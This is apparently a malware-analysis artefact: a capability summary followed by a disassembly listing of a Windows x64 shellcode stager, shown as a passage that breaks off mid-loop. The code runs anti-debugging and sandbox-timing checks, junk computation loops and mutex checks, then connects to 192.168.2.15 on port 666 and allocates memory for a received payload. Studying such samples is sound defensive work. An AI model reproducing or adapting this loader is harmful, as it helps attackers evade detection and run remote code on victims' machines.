Function at 0x401550
Capabilities:
Act as tcp client
Allocate or change rwx memory
Check mutex on windows
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create thread
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Link many functions at runtime
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x558
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x4c0], xmm6
mov dword [rbp + 0x4f0], ecx
mov qword [rbp + 0x4f8], rdx
call dbg.__main
mov ecx, 0xd8a4
call sym.malloc
mov qword [rbp + 0x3d8], rax
mov dword [rbp + 0x4bc], 0
jmp 0x401614
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm6, eax
call sym.rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x4bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
divss xmm6, xmm0
movaps xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x4bc], 1
cmp dword [rbp + 0x4bc], 0x3628
jle 0x401597
mov dword [rbp + 0x4bc], 0
jmp 0x401718
cmp dword [rbp + 0x4bc], 0
je 0x40167d
mov eax, dword [rbp + 0x4bc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x4bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x401689
add dword [rbp + 0x4bc], 1
jmp 0x401718
mov eax, dword [rbp + 0x4bc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x3d4], xmm0
mov eax, dword [rbp + 0x4bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d8]
add rdx, rax
mov eax, dword [rbp + 0x4bc]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x3d8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x4bc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x3d8]
add rax, rdx
movss xmm0, dword [rbp + 0x3d4]
movss dword [rax], xmm0
sub dword [rbp + 0x4bc], 1
cmp dword [rbp + 0x4bc], 0x3628
jle 0x401633
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x4b0], 0
mov ecx, 0x10a4a5b0
call sym.malloc
mov qword [rbp + 0x3c8], rax
mov dword [rbp + 0x4b8], 0
jmp 0x4017d2
mov dword [rbp + 0x4b4], 0
jmp 0x4017bf
call sym.rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x4b8]
movsxd rdx, edx
imul rcx, rdx, 0x8830
mov rdx, qword [rbp + 0x3c8]
add rdx, rcx
cvtsi2ss xmm0, eax
mov eax, dword [rbp + 0x4b4]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x4b4], 1
cmp dword [rbp + 0x4b4], 0x220b
jle 0x40176a
add dword [rbp + 0x4b8], 1
cmp dword [rbp + 0x4b8], 0x1f48
jle 0x40175e
mov dword [rbp + 0x4b8], 0
jmp 0x40184c
mov dword [rbp + 0x4b4], 0
jmp 0x401839
cvtsi2ss xmm1, dword [rbp + 0x4b0]
mov eax, dword [rbp + 0x4b8]
cdqe
imul rdx, rax, 0x8830
mov rax, qword [rbp + 0x3c8]
add rdx, rax
mov eax, dword [rbp + 0x4b4]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x4b0], eax
add dword [rbp + 0x4b4], 1
cmp dword [rbp + 0x4b4], 0x220b
jle 0x4017f6
add dword [rbp + 0x4b8], 1
cmp dword [rbp + 0x4b8], 0x1f48
jle 0x4017ea
mov rax, qword [rbp + 0x3c8]
mov rcx, rax
call sym.free
mov qword [rbp + 0x3c0], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4006680
mov ecx, 0
call rax
mov qword [rbp + 0x3c0], rax
cmp qword [rbp + 0x3c0], 0
je 0x403497
mov rax, qword [rbp + 0x3c0]
mov edx, 0x4006680
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x3c0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x3b0], rax
cmp qword [rbp + 0x3b0], 0
je 0x403386
mov rax, qword [rbp + 0x3b0]
mov edx, 0x3ef
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x3ac], eax
mov dword [rbp + 0x1c4], 0
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.CheckRemoteDebuggerPresent
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x1c4]
mov rax, qword [rbp + 0x3a0]
call rax
mov eax, dword [rbp + 0x1c4]
cmp eax, 1
je 0x4032c4
mov dword [rbp + 0x39c], 0
mov dword [rbp + 0x4a4], 0
mov ecx, 0x19ae81a4
call sym.malloc
mov qword [rbp + 0x390], rax
mov dword [rbp + 0x4ac], 0
jmp 0x401a8d
mov dword [rbp + 0x4a8], 0
jmp 0x401a76
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x4ac]
cdqe
imul rdx, rax, 0x9bcc
mov rax, qword [rbp + 0x390]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x4a8]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x4ac]
cdqe
imul rdx, rax, 0x9bcc
mov rax, qword [rbp + 0x390]
add rdx, rax
mov eax, dword [rbp + 0x4a8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x401a6f
add dword [rbp + 0x4a4], 1
add dword [rbp + 0x4a8], 1
cmp dword [rbp + 0x4a8], 0x26f2
jle 0x4019f6
add dword [rbp + 0x4ac], 1
cmp dword [rbp + 0x4ac], 0x2a32
jle 0x4019e7
cmp dword [rbp + 0x4a4], 0x335d034
jne 0x401ab3
mov dword [rbp + 0x39c], 1
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.free
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x388], rax
cmp qword [rbp + 0x388], 0
jne 0x403254
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x380], rax
cmp qword [rbp + 0x380], 0
je 0x401b46
mov rax, qword [rbp + 0x380]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov ecx, 0
call rax
mov dword [rbp + 0x4a0], eax
cmp dword [rbp + 0x4a0], 0xffffffff
je 0x40358b
mov ecx, 0x3825bd0
call sym.malloc
mov qword [rbp + 0x370], rax
mov dword [rbp + 0x498], 0
mov dword [rbp + 0x494], 0
mov dword [rbp + 0x49c], 0
jmp 0x401bd1
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x49c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x370]
lea r8, [rdx + rax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 5
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x23
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
add dword [rbp + 0x49c], 1
cmp dword [rbp + 0x49c], 0xe096f3
jle 0x401b84
mov dword [rbp + 0x49c], 0
jmp 0x401c12
mov eax, dword [rbp + 0x49c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x370]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x498], eax
add dword [rbp + 0x49c], 1
cmp dword [rbp + 0x49c], 0xe096f3
jle 0x401be9
mov dword [rbp + 0x49c], 0
jmp 0x401c80
cvtsi2sd xmm6, dword [rbp + 0x494]
mov eax, dword [rbp + 0x49c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x370]
add rax, rdx
mov eax, dword [rax]
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x36c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x00407090]
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x494], eax
add dword [rbp + 0x49c], 1
cmp dword [rbp + 0x49c], 0xe096f3
jle 0x401c2a
cvtsi2ss xmm0, dword [rbp + 0x494]
movss xmm1, dword [0x00407098]
divss xmm0, xmm1
movss dword [rbp + 0x368], xmm0
cvtss2sd xmm0, dword [rbp + 0x368]
call dbg.sqrt
cvtsd2ss xmm2, xmm0
movss dword [rbp + 0x364], xmm2
mov rax, qword [rbp + 0x370]
mov rcx, rax
call sym.free
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
call rax
mov dword [rbp + 0x354], eax
mov ecx, 0x2fc
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x358]
call rax
mov dword [rbp + 0x350], eax
mov eax, dword [rbp + 0x350]
sub eax, dword [rbp + 0x354]
cmp eax, 0x2ca
jbe 0x40358b
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x348], 0
je 0x401d93
mov rax, qword [rbp + 0x348]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov ecx, 0
call rax
mov dword [rbp + 0x490], eax
cmp dword [rbp + 0x490], 0xffffffff
je 0x40358b
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.OpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov r8d, 4
mov edx, 0
mov ecx, 0x1f0fff
call rax
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x330], 0
jne 0x40358b
mov dword [rbp + 0x32c], 0x2dd
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x320], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.GetTickCount
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
call rax
mov dword [rbp + 0x314], eax
mov ecx, dword [rbp + 0x32c]
mov rax, qword [rbp + 0x320]
mov edx, 0
call rax
mov rax, qword [rbp + 0x318]
call rax
mov dword [rbp + 0x310], eax
mov eax, dword [rbp + 0x310]
sub eax, dword [rbp + 0x314]
cmp eax, 0x2ab
jbe 0x40358b
mov ecx, 0x39776f0
call sym.malloc
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x48c], 0
jmp 0x401f06
call sym.rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x004070a0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x48c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x308]
add rax, rdx
movsd xmm1, qword [0x004070a8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x48c], 1
cmp dword [rbp + 0x48c], 0x72eedd
jle 0x401ebc
mov dword [rbp + 0x48c], 0
jmp 0x401f6d
mov eax, dword [rbp + 0x48c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x308]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x48c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x308]
add rax, rdx
movq xmm1, qword [0x004070b0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x48c], 1
cmp dword [rbp + 0x48c], 0x72eedd
jle 0x401f1e
lea r8, str.zJROMCLvtu
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
je 0x402049
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1a0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x4f8]
mov rax, qword [rax]
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov edx, 0
mov ecx, 0x11386
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x40358b
lea r8, str.JcBCUtPgDg
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
je 0x4020d7
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.WinExec
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
mov rax, qword [rbp + 0x4f8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x300]
mov edx, 0
call rax
mov ecx, 0xa3ef
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
jne 0x40358b
mov word [rbp + 0x2fe], 0x202
movzx eax, word [rbp + 0x2fe]
lea rdx, [rbp - 0x30]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x402219
mov ecx, 0x151dd08
call sym.malloc
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x484], 0
mov dword [rbp + 0x480], 0
mov dword [rbp + 0x488], 0
jmp 0x4021e7
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x488]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
lea r8, [rdx + rax]
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x488]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x4021b6
add dword [rbp + 0x484], 1
jmp 0x4021e0
mov eax, dword [rbp + 0x488]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x4021e0
add dword [rbp + 0x480], 1
add dword [rbp + 0x488], 1
cmp dword [rbp + 0x488], 0x547741
jle 0x402146
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sym.free
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
cmp rax, 0xffffffffffffffff
jne 0x402364
mov ecx, 0x13173c0
call sym.malloc
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x478], 0
mov dword [rbp + 0x474], 0
mov dword [rbp + 0x47c], 0
jmp 0x40231f
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x47c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2e8]
lea r8, [rdx + rax]
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x47c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x4022ee
add dword [rbp + 0x478], 1
jmp 0x402318
mov eax, dword [rbp + 0x47c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x402318
add dword [rbp + 0x474], 1
add dword [rbp + 0x47c], 1
cmp dword [rbp + 0x47c], 0x4c5cef
jle 0x40227e
mov rax, qword [rbp + 0x2e8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov ecx, 0x1c8e13b0
call sym.malloc
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x470], 0
mov dword [rbp + 0x2dc], 1
mov dword [rbp + 0x46c], 0
jmp 0x402405
mov dword [rbp + 0x468], 0
jmp 0x4023f2
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x46c]
cdqe
imul rdx, rax, 0xb978
mov rax, qword [rbp + 0x2e0]
lea r8, [rdx + rax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
sar edx, 5
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x64
sub ecx, eax
mov eax, ecx
mov edx, dword [rbp + 0x468]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x468], 1
cmp dword [rbp + 0x468], 0x2e5d
jle 0x4023a1
add dword [rbp + 0x46c], 1
cmp dword [rbp + 0x46c], 0x2769
jle 0x402395
mov dword [rbp + 0x46c], 0
jmp 0x402472
mov dword [rbp + 0x468], 0
jmp 0x40245f
mov eax, dword [rbp + 0x46c]
cdqe
imul rdx, rax, 0xb978
mov rax, qword [rbp + 0x2e0]
add rdx, rax
mov eax, dword [rbp + 0x468]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x402458
add dword [rbp + 0x470], 1
add dword [rbp + 0x468], 1
cmp dword [rbp + 0x468], 0x2e5d
jle 0x402429
add dword [rbp + 0x46c], 1
cmp dword [rbp + 0x46c], 0x2769
jle 0x40241d
cmp dword [rbp + 0x470], 0x391c276
je 0x402494
mov dword [rbp + 0x2dc], 0
mov rax, qword [rbp + 0x2e0]
mov rcx, rax
call sym.free
lea rcx, str.192.168.2.15
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x2d0], rax
cmp qword [rbp + 0x2d0], 0
jne 0x402535
mov dword [rbp + 0x464], 0
jmp 0x402503
call sym.rand
imul eax, eax, 0x378
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x004070a0]
divsd xmm0, xmm1
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x2c8], rax
add dword [rbp + 0x464], 1
cmp dword [rbp + 0x464], 0x4c9659
jle 0x4024d0
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x2d0]
movzx eax, word [rax + 0x12]
movsx rdx, ax
mov rax, qword [rbp + 0x2d0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rcx, [rbp + 0x180]
add rcx, 4
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov word [rbp + 0x180], 2
mov dword [rbp + 0x460], 0xffffffff
mov ecx, 0x2b1e968
call sym.malloc
mov qword [rbp + 0x2c0], rax
add dword [rbp + 0x460], 1
call sym.rand
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x004070a0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x460]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
movsd xmm1, qword [0x004070a8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x460]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x460]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
lea rbx, [rdx + rax]
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x460], 0x563d2b
jle 0x40258c
mov ecx, 0x29a
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x182], ax
mov rax, qword [rbp + 0x178]
lea rdx, [rbp + 0x180]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x4026d9
mov dword [rbp + 0x45c], 0
jmp 0x4026a7
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x004070a0]
divsd xmm0, xmm1
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x2b8], rax
add dword [rbp + 0x45c], 1
cmp dword [rbp + 0x45c], 0x3d5f15
jle 0x402671
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov dword [rbp + 0x458], 0
mov dword [rbp + 0x454], 1
mov dword [rbp + 0x450], 0
mov dword [rbp + 0x2b4], 0x30c91ecf
jmp 0x402736
mov edx, dword [rbp + 0x458]
mov eax, dword [rbp + 0x454]
add eax, edx
mov dword [rbp + 0x2b0], eax
add dword [rbp + 0x450], 1
mov eax, dword [rbp + 0x454]
mov dword [rbp + 0x458], eax
mov eax, dword [rbp + 0x2b0]
mov dword [rbp + 0x454], eax
mov eax, dword [rbp + 0x450]
cmp eax, dword [rbp + 0x2b4]
jl 0x402703
mov rax, qword [rbp + 0x178]
lea rdx, [rbp + 0x190]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x2a8], rax
cmp qword [rbp + 0x2a8], 4
jne 0x40278d
mov rax, qword [rbp + 0x190]
test rax, rax
jne 0x402911
mov dword [rbp + 0x44c], 0
mov dword [rbp + 0x448], 0
mov ecx, 0x3494b88
call sym.malloc
mov qword [rbp + 0x208], rax
mov dword [rbp + 0x444], 0
jmp 0x40282d
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x444]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
lea r8, [rdx + rax]
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 5
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x23
sub ecx, eax
mov eax, ecx
mov dword [r8], eax
mov eax, dword [rbp + 0x444]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x44c], eax
add dword [rbp + 0x444], 1
cmp dword [rbp + 0x444], 0xd252e1
jle 0x4027be
mov dword [rbp + 0x444], 0
jmp 0x40289b
cvtsi2sd xmm6, dword [rbp + 0x448]
mov eax, dword [rbp + 0x444]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x208]
add rax, rdx
mov eax, dword [rax]
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x204]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x00407090]
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x448], eax
add dword [rbp + 0x444], 1
cmp dword [rbp + 0x444], 0xd252e1
jle 0x402845
cvtsi2ss xmm0, dword [rbp + 0x448]
movss xmm1, dword [0x004070c0]
divss xmm0, xmm1
movss dword [rbp + 0x200], xmm0
cvtss2sd xmm0, dword [rbp + 0x200]
call dbg.sqrt
cvtsd2ss xmm3, xmm0
movss dword [rbp + 0x1fc], xmm3
mov rax, qword [rbp + 0x208]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x190]
add rax, 0xa
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x2a0], rax
cmp qword [rbp + 0x2a0], 0
jne 0x402a79
mov dword [rbp + 0x440], 0xffffffff
mov ecx, 0x260d8a0
call sym.malloc
mov qword [rbp + 0x298], rax
mov ecx, 0x260d8a0
call sym.malloc
mov qword [rbp + 0x290], rax
add dword [rbp + 0x440], 1
call sym.rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
sar edx, 6
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e8
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm6, eax
call sym.rand
mov ecx, eax
mov edx, 0xea0ea0eb
mov eax, ecx
imul edx
lea eax, [rdx + rcx]
sar eax, 6
mov edx, eax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x46
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x440]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x298]
add rax, rdx
divsd xmm6, xmm0
movapd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x440]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x298]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x440]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x290]
lea rbx, [rdx + rax]
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x440], 0x4c1b12
jle 0x40297a
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
mov ecx, 0x12d33a90
call sym.malloc
mov qword [rbp + 0x288], rax
mov ecx, 0x12d33a90
call sym.malloc
mov qword [rbp + 0x280], rax
mov ecx, 0x12d33a90
call sym.malloc
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x43c], 0
jmp 0x402b84
mov dword [rbp + 0x438], 0
jmp 0x402b6d
call sym.rand
mov ecx, eax
mov edx, 0x51eb851f
